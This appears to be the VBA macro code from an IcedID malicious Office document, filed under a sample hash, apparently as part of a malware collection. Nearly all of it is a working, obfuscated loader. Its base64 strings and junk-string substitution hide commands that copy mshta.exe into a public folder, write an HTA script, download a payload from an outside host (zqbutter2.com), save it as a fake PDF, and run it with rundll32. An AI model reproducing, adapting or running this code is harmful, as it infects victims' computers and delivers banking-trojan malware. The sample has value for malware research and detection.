icedID["30739a63f06056178c395aea513686a49652ed9cb7f81c4baabee6cd8f950c9f"]["macros"]

Option Explicit
Private Const clOneMask = 16515072          '000000 111111 111111 111111
Private Const clTwoMask = 258048            '111111 000000 111111 111111
Private Const clThreeMask = 4032            '111111 111111 000000 111111
Private Const clFourMask = 63               '111111 111111 111111 000000
Private Const clHighMask = 16711680         '11111111 00000000 00000000
Private Const clMidMask = 65280             '00000000 11111111 00000000
Private Const clLowMask = 255               '00000000 00000000 11111111
Private Const cl2Exp18 = 262144             '2 to the 18th power
Private Const cl2Exp12 = 4096               '2 to the 12th
Private Const cl2Exp6 = 64                  '2 to the 6th
Private Const cl2Exp8 = 256                 '2 to the 8th
Private Const cl2Exp16 = 65536              '2 to the 16th

Public Function a9qd3(sString)
    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
    Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
    Dim lTemp As Long

    lTemp = Len(sString) Mod 4
    If InStrRev(sString, "==") Then
        iPad = 2
    ElseIf InStrRev(sString, "=") Then
        iPad = 1
    End If

    For lTemp = 0 To 255
        Select Case lTemp
            Case 65 To 90
                bTrans(lTemp) = lTemp - 65
            Case 97 To 122
                bTrans(lTemp) = lTemp - 71
            Case 48 To 57
                bTrans(lTemp) = lTemp + 4
            Case 43
                bTrans(lTemp) = 62
            Case 47
                bTrans(lTemp) = 63
        End Select
    Next lTemp

    For lTemp = 0 To 63
        lPowers6(lTemp) = lTemp * cl2Exp6
        lPowers12(lTemp) = lTemp * cl2Exp12
        lPowers18(lTemp) = lTemp * cl2Exp18
    Next lTemp

    bIn = StrConv(sString, vbFromUnicode)
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
    For lChar = 0 To UBound(bIn) Step 4
        lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
        lTemp = lQuad And clHighMask
        bOut(lPos) = lTemp \ cl2Exp16
        lTemp = lQuad And clMidMask
        bOut(lPos + 1) = lTemp \ cl2Exp8
        bOut(lPos + 2) = lQuad And clLowMask
        lPos = lPos + 3
    Next lChar

    sOut = StrConv(bOut, vbUnicode)
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)   'Chop off any extra bytes.
        a9qd3 = sOut
End Function


Sub akYEmN(aXGUQg, aMdvj2)
End Sub


Public Const a5DngL As String = "21232f297a57a5a743894a0e4a801fc3"
Public Const aUjLaP As String = ""

Function aAman6(asvpi2)

    a1Hyvc = 1
    a61jl = Len(asvpi2)
    acMIp = ""

    For aNThJ9 = 1 To a61jl
        acMIp = Mid(asvpi2, aNThJ9, 1) & acMIp
    Next aNThJ9
    aAman6 = acMIp

End Function


Sub a4PJG(aGMNDT, atSrkM)

    Open aGMNDT For Output As #1
    Print #1, atSrkM
    Close #1

End Sub

Function Des(ap4FVt, aWEwRG, Optional ByVal abSWL As String = "")

    Des = Replace(a9qd3(ap4FVt), aWEwRG, abSWL)

End Function

Sub aUGt6M()

    aOhZci = Des("Y2E1UjdPMTphNVI3TzFcYTVSN08xd2E1UjdPMWlhNVI3TzFuYTVSN08xZGE1UjdPMW9hNVI3TzF3YTVSN08xc2E1UjdPMVxhNVI3TzFzYTVSN08xeWE1UjdPMXNhNVI3TzF0YTVSN08xZWE1UjdPMW1hNVI3TzEzYTVSN08xMmE1UjdPMVxhNVI3TzFtYTVSN08xc2E1UjdPMWhhNVI3TzF0YTVSN08xYWE1UjdPMS5hNVI3TzFlYTVSN08xeGE1UjdPMWVhNVI3TzE=", "a5R7O1", "")
    aRj4N = Des("Y2FuUW1xQzphblFtcUNcYW5RbXFDdWFuUW1xQ3NhblFtcUNlYW5RbXFDcmFuUW1xQ3NhblFtcUNcYW5RbXFDcGFuUW1xQ3VhblFtcUNiYW5RbXFDbGFuUW1xQ2lhblFtcUNjYW5RbXFDXGFuUW1xQ3BhblFtcUN1YW5RbXFDYmFuUW1xQ2xhblFtcUNpYW5RbXFDY2FuUW1xQy5hblFtcUNjYW5RbXFDb2FuUW1xQ21hblFtcUM=", "anQmqC", "")

    aq9nc = Des("Y2FScUJXOmFScUJXXGFScUJXdWFScUJXc2FScUJXZWFScUJXcmFScUJXc2FScUJXXGFScUJXcGFScUJXdWFScUJXYmFScUJXbGFScUJXaWFScUJXY2FScUJXXGFScUJXaWFScUJXbmFScUJXZGFScUJXZWFScUJXeGFScUJXLmFScUJXaGFScUJXdGFScUJXYWFScUJX", "aRqBW", "")

    aiy3sv = Des("cmFtaTBuUXVhbWkwblFuYW1pMG5RZGFtaTBuUWxhbWkwblFsYW1pMG5RM2FtaTBuUTJhbWkwblEuYW1pMG5RZWFtaTBuUXhhbWkwblFlYW1pMG5RIGFtaTBuUXVhbWkwblFyYW1pMG5RbGFtaTBuUS5hbWkwblFkYW1pMG5RbGFtaTBuUWxhbWkwblEsYW1pMG5RT2FtaTBuUXBhbWkwblFlYW1pMG5RbmFtaTBuUVVhbWkwblFSYW1pMG5RTGFtaTBuUQ==", "ami0nQ", "")

    aWufnT = "Vwa0QvbmNrSWxKS3FYTGk1eXBPcGtiMy9heGdxbzExP01FPUhLd19JQmp5QVh0R0dvJlh5PUlZenhYV3ZzWmtiZG5QJl9VamM9UXlqd01HY3BsS25xeEJy"

    arVtd8 = "IpOw0KdmFyIGFSUUpkSSA9ICJudXIiLnNwbGl0KCIiKS5yZXZlcnNlKCkuam9pbigiIik7DQp2YXIgYW54cjMgPSAici0gQWdvbGFpRHdvaFMsIi5zcGxp"

    aoMW4 = "dCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpOw0KdmFyIGF1T0NMID0gImM6XFxwcm9ncmFtZGF0YVxcYXpmQ0IucGRmIjsNCg0Kd2luZG93LnJlc2l6ZVRvKD"
    azNtH = "dmFzY3JpcHQiPg0KDQp2YXIgYVhFc1p6ID0gbmV3IEFjdGl2ZVhPYmplY3QoYUhNUGcpW2FSUUpkSV0oYU1zQkdtICsgIjMyICIgKyBhdU9DTCArIGFueH"

    a8lfWj = "ZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIikNCglhOXNTYS5PcGVuDQoJYTlzU2EuVHlwZSA9IDENCglhOXNTYS5Xcml0ZSBhRWRQQzAucmVzcG9uc2Vib2"
    apC1KW = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQoNCnZhciBhSE1QZyA9ICJsbGVocy50cGlyY3N3Ii5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIi"

    aLcsx4 = "IzKTsNCndpbmRvdy5jbG9zZSgpOw0KDQo8L3NjcmlwdD4="

    acKU5Z = "JmRWej1iUHhPQW9mekljUFlYdyZsWD1xZVVtTWFwRFRzTnpxdCIsIGZhbHNlKTsNCmFFZFBDMC5zZW5kKCk7DQoNCjwvc2NyaXB0Pg0KDQo8c2NyaXB0IG"

    aNosJh = "R5DQoJYTlzU2EuU2F2ZVRvRmlsZSBhdU9DTCwgMg0KCWE5c1NhLkNsb3NlDQpFbmQgSWYNCg0KPC9zY3JpcHQ+DQoNCjxzY3JpcHQgbGFuZ3VhZ2U9Imph"
    a5KYd4 = "EsIDEpOw0Kd2luZG93Lm1vdmVUbygtMTAsIC0xMCk7DQp2YXIgYUVkUEMwID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7DQphRWRQ"
    aftls = "QzAub3BlbigiR0VUIiwgImh0dHA6Ly96cWJ1dHRlcjIuY29tL2ZvcnVtL3ZpZXdwb3N0L0ZhM0RTMmovMnY4ajBTd1FRZ2JqVGl3UG5KRHVUbEtzVzhmX1"
    aLeWGM = "xhbmd1YWdlPSJ2YnNjcmlwdCI+DQoNCmFNc0JHbSA9ICJydW5kbGwiDQoNCklmIGFFZFBDMC5zdGF0dXMgPSAyMDAgVGhlbg0KCVNldCBhOXNTYSA9IENy"

    atSrkM = a9qd3(apC1KW & arVtd8 & aoMW4 & a5KYd4 & aftls & aWufnT & acKU5Z & aLeWGM & a8lfWj & aNosJh & azNtH & aLcsx4)

    a4PJG aq9nc, atSrkM

    a5gXO = Des("d2E3ckhxc2E3ckhxY2E3ckhxcmE3ckhxaWE3ckhxcGE3ckhxdGE3ckhxLmE3ckhxc2E3ckhxaGE3ckhxZWE3ckhxbGE3ckhxbGE3ckhx", "a7rHq", "")
    CreateObject(a5gXO).run (aiy3sv & " " & aq9nc)

End Sub

Function aAdwRC(a1FGD)

End Function